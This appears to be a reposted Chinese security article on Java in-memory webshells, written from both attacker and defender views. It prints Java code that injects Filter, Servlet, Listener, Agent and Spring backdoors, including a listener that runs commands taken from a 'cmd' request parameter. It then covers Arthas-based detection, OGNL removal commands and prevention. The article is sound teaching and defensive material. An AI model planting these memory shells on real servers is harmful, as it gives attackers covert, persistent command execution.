文章总结: 本文从攻防双视角剖析Java内存Webshell的原理、实现与检测清除技术。内存Webshell利用反射、动态类加载等机制注入到Web容器或JVM内存中,实现无文件落地后门。常见类型包括Filter型、Servlet型、Listener型、Agent型和Spring型。注入方式主要通过反序列化漏洞、命令执行等。文章提供了各类型注入代码示例,并指出Agent型检测难度最高。 综合评分: 81 文章分类: 红队,应急响应,漏洞分析,WEB安全,安全工具
攻防视角下的内存webshell
alex alex
安全驾驶舱
2026年6月29日 17:22 广东
在小说阅读器读本章
去阅读
引言
Webshell 是攻击者获取服务器持久化控制权的常用后门。传统 Webshell 以文件形式存在于磁盘,容易被杀毒软件、文件完整性检测工具发现。随着攻防对抗升级,内存 Webshell 应运而生——它不写入磁盘,仅驻留在 Java 应用运行时内存中,利用反射、动态类加载、Instrumentation 等机制注入到 Web 容器或 JVM 内部,实现“无文件落地”的隐蔽后门。本文从攻击者与防御者双重视角,深入剖析 Java 内存 Webshell 的原理、实现、检测与清除技术。
一、攻击篇:内存 Webshell 的实现与注入
1、核心原理****
Java 内存 Webshell 的本质是在运行时向 Web 容器或 JVM 动态注册一个恶意组件,使其能够处理后续的 HTTP 请求或系统事件。其实现依赖于以下 Java 特性:
反射:获取容器内部私有对象(如 Tomcat 的 StandardContext),调用私有方法。
动态类加载:通过 ClassLoader.defineClass() 加载字节码,无需 .class 文件。
Instrumentation:通过 Java Agent 在类加载时修改字节码,或重转换已有类。
容器组件模型:Tomcat、Spring 等容器采用组件树结构,可通过反射添加 Filter、Servlet、Listener 等。
2、常见类型****
2.1、Filter 型内存马
原理:向 StandardContext的filterConfigs 中添加自定义Filter,并注册URL映射(通常为 /*)。
触发:所有请求经过该 Filter,在doFilter中解析参数并执行命令。
示例代码(Tomcat 8/9):
// 获取 StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();// 创建 FilterDef 和 FilterMapFilterDef filterDef = new FilterDef();filterDef.setFilter(new CommandFilter());filterDef.setFilterName("shell");context.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("shell");context.addFilterMapBefore(filterMap);// 手动构造 ApplicationFilterConfig 并放入缓存Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);context.getFilterConfigs().put("shell", filterConfig);
2.2、Servlet型内存马
原理:向 StandardContext 中添加 Wrapper(代表 Servlet),并注册路径映射。
触发:访问特定路径(如 /abc)时执行恶意 Servlet 的 service 方法。
示例代码:
Wrapper wrapper = context.createWrapper();wrapper.setName("shellServlet");wrapper.setServlet(new CommandServlet());wrapper.setServletClass(CommandServlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded("/abc", "shellServlet");
2.3、Listener 型内存马
原理:向StandardContext的applicationEventListeners 中添加 ServletRequestListener,监听请求事件。
触发:每次请求到达时,requestInitialized 方法被调用,执行恶意逻辑。
示例代码(Tomcat 8/9):
// 1. 定义恶意 Listener 类public class ShellListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { // 不需要操作 } @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); // 将结果写入 response(需获取 response 对象,此处省略) } catch (Exception e) { e.printStackTrace(); } } }}// 2. 注入代码(通过反射获取 StandardContext 并添加 Listener)// 获取 StandardContext(与 Filter 型相同)Field reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();// 创建 Listener 实例并添加到 applicationEventListeners 列表ShellListener listener = new ShellListener();// 通过反射获取 applicationEventListeners 字段Field listenersField = StandardContext.class.getDeclaredField("applicationEventListeners");listenersField.setAccessible(true);Object[] listeners = (Object[]) listenersField.get(context);// 扩展数组并添加新 ListenerObject[] newListeners = Arrays.copyOf(listeners, listeners.length + 1);newListeners[newListeners.length - 1] = listener;listenersField.set(context, newListeners);// 可选:同时更新 applicationEventListenerInstances(某些版本需要)Field instancesField = StandardContext.class.getDeclaredField("applicationEventListenerInstances");instancesField.setAccessible(true);List<Object> instances = (List<Object>) instancesField.get(context);instances.add(listener);
注意:不同Tomcat 版本字段名可能不同,例如 7.x 中可能为 applicationEventListeners 或 listeners,需根据实际情况调整。
2.4、Agent 型内存马
原理:通过 Java Agent 注册 ClassFileTransformer,在类加载时修改字节码,或使用 retransformClasses 重转换已有类(如 Runtime.exec)。
特点:可全局拦截,但需要目标 JVM 支持 Attach 或启动时指定 Agent。
持久化:通常需写入 MANIFEST.MF 或利用漏洞动态加载 Agent。
示例:(Agent 代码):
// Agent 类(需在 MANIFEST.MF 中指定 Premain-Class 或 Agent-Class)public class EvilAgent { public static void premain(String agentArgs, Instrumentation inst) { inst.addTransformer(new ClassFileTransformer() { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { // 只修改 java.lang.Runtime 类 if ("java/lang/Runtime".equals(className)) { // 使用 ASM 或 Javassist 修改字节码 // 在 exec 方法中插入恶意代码(例如记录参数或执行额外命令) // 此处为简化,直接返回原始字节码 return classfileBuffer; } return null; } }); } // 也可通过 agentmain 动态附加 public static void agentmain(String agentArgs, Instrumentation inst) { premain(agentArgs, inst); }}
注入方式:
启动时注入:在 JVM 启动参数中添加 -javaagent:evil.jar。
运行时注入:通过 VirtualMachine.attach() 加载 Agent(需目标 JVM 权限):
// 利用漏洞执行以下代码import com.sun.tools.attach.VirtualMachine;VirtualMachine vm = VirtualMachine.attach("PID");vm.loadAgent("/path/to/evil.jar", "");vm.detach();
检测难度:Agent 型内存马通常不注册到容器组件中,而是修改核心类,因此常规的 Filter/Servlet 扫描无法发现。需要通过检测 Instrumentation 中注册的 ClassFileTransformer 或分析字节码差异来发现。
2.5、Spring 型内存马
原理:利用 Spring 的 ApplicationContext 动态注册 @RequestMapping 方法或拦截器。
方式:通过 RequestMappingHandlerMapping.registerMapping() 注册新的 URL 映射。
通过 InterceptorRegistry.addInterceptor() 添加自定义拦截器。
示例(注册 Controller):
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);PatternsRequestCondition condition = new PatternsRequestCondition("/shell");RequestMappingInfo info = new RequestMappingInfo(condition, ...);mapping.registerMapping(info, new Object(), CommandController.class.getMethod("execute", ...));
3、内存马注入方式
攻击者通常通过以下漏洞或手段注入内存马:
· 反序列化漏洞(Fastjson、Jackson、Shiro):利用反序列化链执行反射代码,动态注册内存马。
· JSP 文件上传/包含:上传包含注册代码的 JSP 文件,执行后自动删除文件(无文件残留)。
· 命令执行漏洞(Struts2、Spring EL):通过命令执行写入字节码或直接反射注册。
· Java Agent 动态附加:利用 VirtualMachine.attach() 加载恶意 Agent(需目标 JVM 权限)。
· SSRF + 内部接口:利用 SSRF 访问 Tomcat Manager 或 JMX 接口,通过 HTTP 操作注册组件。
二、防御篇:检测、清除与预防
1、检测方法
1.1、基于容器组件扫描
遍历 Filter/Servlet/Listener:通过 JMX 或反射获取 StandardContext 中的 filterConfigs、children、applicationEventListeners,与已知基线对比。
工具:Arthas(sc -d *Filter)、java-memshell-scanner。
Arthas排查步骤:
n启动 Arthas 并连接目标进程
java -jar arthas-boot.jar
n搜索可疑 Filter 类
列出所有实现 javax.servlet.Filter 的类
sc -d *Filter
关注类名异常(如包含 cmd、exec、shell、Anonymous 等)或包名异常的类
反编译可疑类确认
jad com.example.SuspiciousFilter
n搜索可疑 Servlet 类,Listener类
sc -d *Servlet
sc -d *ServletRequestListener
n监控敏感 API 调用,定位内存马触发点
监控 Runtime.exec 的调用栈
watch java.lang.Runtime exec “{params,throwExp}” -x 3
stack java.lang.Runtime exec -v
监控 ProcessBuilder.start
watch java.lang.ProcessBuilder start “{params,throwExp}” -x 3
stack java.lang.ProcessBuilder start -v
当有请求触发内存马时,会打印出调用栈,从中可以看到是哪个 Filter/Servlet/Listener 发起的。
java-memshell-scanner排查步骤:
n将工具上传到网站根路径:
将相应的可疑类dump为字节码,再导入到jd-gui中做反编译:
根据反编译的类和方法,分析可疑类是否为webshell代码。
1.2、基于字节码分析
·反编译可疑类:使用 jad 命令(Arthas)或 CFR 反编译,检查是否包含 Runtime.exec、ProcessBuilder、getRuntime 等敏感调用。
·动态类加载监控:记录所有通过 ClassLoader.defineClass 加载的类,分析其来源。
1.3、基于行为监控(RASP)
· RASP(Runtime Application Self-Protection):在运行时Hook 敏感 API(如 Runtime.exec、ProcessBuilder.start、反射获取 StandardContext),记录调用栈,识别异常来源。
· 工具:OpenRASP、商业 RASP 产品。
1.4、基于日志与流量分析
· Web 日志异常:发现对非正常路径(如 /shell、/abc)的请求,且携带 cmd、exec 等参数。
· 流量特征:响应中包含系统命令输出结果(如 whoami 的输出)。
1.5、基于内存快照分析
· 堆转储:使用 jmap 导出堆,用 Eclipse MAT 分析,查找异常类实例。
· 类加载器分析:检查是否存在自定义 ClassLoader 加载的恶意类。
2、清除方法
2.1、通过 Arthas 反射删除
利用 Arthas 的 ognl 命令执行反射代码,从容器组件树中移除恶意对象。
删除 Filter 型内存马示例:
ognl -x 3 \'#[email protected]@class.getDeclaredField(“lastServicedRequest”), #req=#ctx.get(null), #ctx=#req.getContext(), #filterConfigs=#ctx.getClass().getDeclaredField(“filterConfigs”), #filterConfigs.setAccessible(true), #map=#filterConfigs.get(#ctx), #map.remove(“y4tacker”),#filterDefs=#ctx.getClass().getDeclaredField(“filterDefs”),#filterDefs.setAccessible(true), #defs=#filterDefs.get(#ctx), #defs.remove(“evilFilter”),#filterMaps=#ctx.getClass().getDeclaredField(“filterMaps”), #filterMaps.setAccessible(true), #maps=#filterMaps.get(#ctx), #maps.removeIf(#m -> #m.getFilterName().equals(“evilFilter”))'
删除Servlet型内存马示例:
ognl -x 3 \'#[email protected]@class.getDeclaredField("lastServicedRequest"), #ctx.setAccessible(true), #req=#ctx.get(null), #context=#req.getContext(), #children=#context.getClass().getDeclaredField("children"), #children.setAccessible(true), #childMap=#children.get(#context), #childMap.remove("evilServlet"), #servletMappings=#context.getClass().getDeclaredField("servletMappings"), #servletMappings.setAccessible(true), #mappings=#servletMappings.get(#context), #mappings.remove("/evil")'
删除 Spring Controller 示例:
ognl -x 3 \'#[email protected]@getCurrentWebApplicationContext(), #mapping=#ctx.getBean("requestMappingHandlerMapping"), #handlerMethods=#mapping.getClass().getDeclaredField("handlerMethods"), #handlerMethods.setAccessible(true), #map=#handlerMethods.get(#mapping), #map.keySet().removeIf(#info -> #info.getPatternsCondition().getPatterns().contains("/shell"))'
2.2、重启应用
内存马默认随 JVM 重启消失,但需先清除持久化配置(如写入 server.xml、数据库等)。
重启前建议导出堆转储,用于取证分析。
2.3、使用RASP自动阻断
部署 RASP 后,可配置规则自动移除恶意组件或拦截其执行。
3、预防措施
修复漏洞:及时修补反序列化、命令执行、文件上传等漏洞,阻断注入入口。
最小化权限:应用运行账号使用低权限用户,限制 Runtime.exec 等敏感 API 的调用。
部署 RASP:在应用层嵌入安全防护,实时监控和拦截内存马注入行为。
加强日志审计:记录所有反射调用、动态类加载、敏感 API 调用日志,便于溯源。
定期扫描:使用内存马检测工具(如 java-memshell-scanner)对生产环境进行定期扫描。
使用 Java Agent 白名单:限制仅允许签名的 Agent 加载。
参考资料:
内存马载荷生成工具:https://github.com/frohoff/ysoserial
java对象检索工具:https://github.com/c0ny1/java-object-searcher
内存马扫描工具:https://github.com/c0ny1/java-memshell-scanner
java故障排查工具:https://github.com/alibaba/arthas
内存马资源:https://github.com/su18/MemoryShell
END
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全驾驶舱 alex alex《攻防视角下的内存webshell》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论